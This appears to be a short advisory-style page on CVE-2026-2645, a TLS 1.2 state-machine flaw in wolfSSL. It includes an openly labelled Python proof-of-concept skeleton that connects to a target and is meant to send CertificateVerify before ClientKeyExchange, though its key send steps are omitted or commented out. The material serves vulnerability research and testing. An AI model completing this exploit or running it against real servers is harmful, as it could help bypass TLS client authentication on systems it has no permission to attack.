CVE-2026-2645 wolfSSL TLS 1.2状态机逻辑缺陷漏洞

import socket import struct # Conceptual PoC for CVE-2026-2645 # This script demonstrates sending a TLS 1.2 handshake where # CertificateVerify is sent before ClientKeyExchange. def create_tls_record(content_type, version, data): header = struct.pack('!BBH', content_type, version[0], version[1]) return header + struct.pack('!H', len(data)) + data def build_handshake(msg_type, data): return struct.pack('!B', msg_type) + struct.pack('!I', len(data))[1:] + data def exploit(target_ip, target_port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # 1. Send ClientHello # ... (Omitted standard ClientHello construction for brevity) ... # client_hello = ... # s.send(create_tls_record(22, (0x03, 0x03), client_hello)) # 2. Receive ServerHello, Certificate, ServerHelloDone # response = s.recv(4096) # 3. Send Client Certificate (if requested) # 4. VULNERABILITY: Send CertificateVerify WITHOUT sending ClientKeyExchange # Normally, the state machine should reject this. # In vulnerable wolfSSL versions, this is accepted. # cert_verify_data = build_handshake(15, b'...') # s.send(create_tls_record(22, (0x03, 0x03), cert_verify_data)) print("[+] PoC logic: Sending CertificateVerify before ClientKeyExchange") print("[+] Check server response to see if handshake continues or fails unexpectedly") s.close() # exploit("127.0.0.1", 443)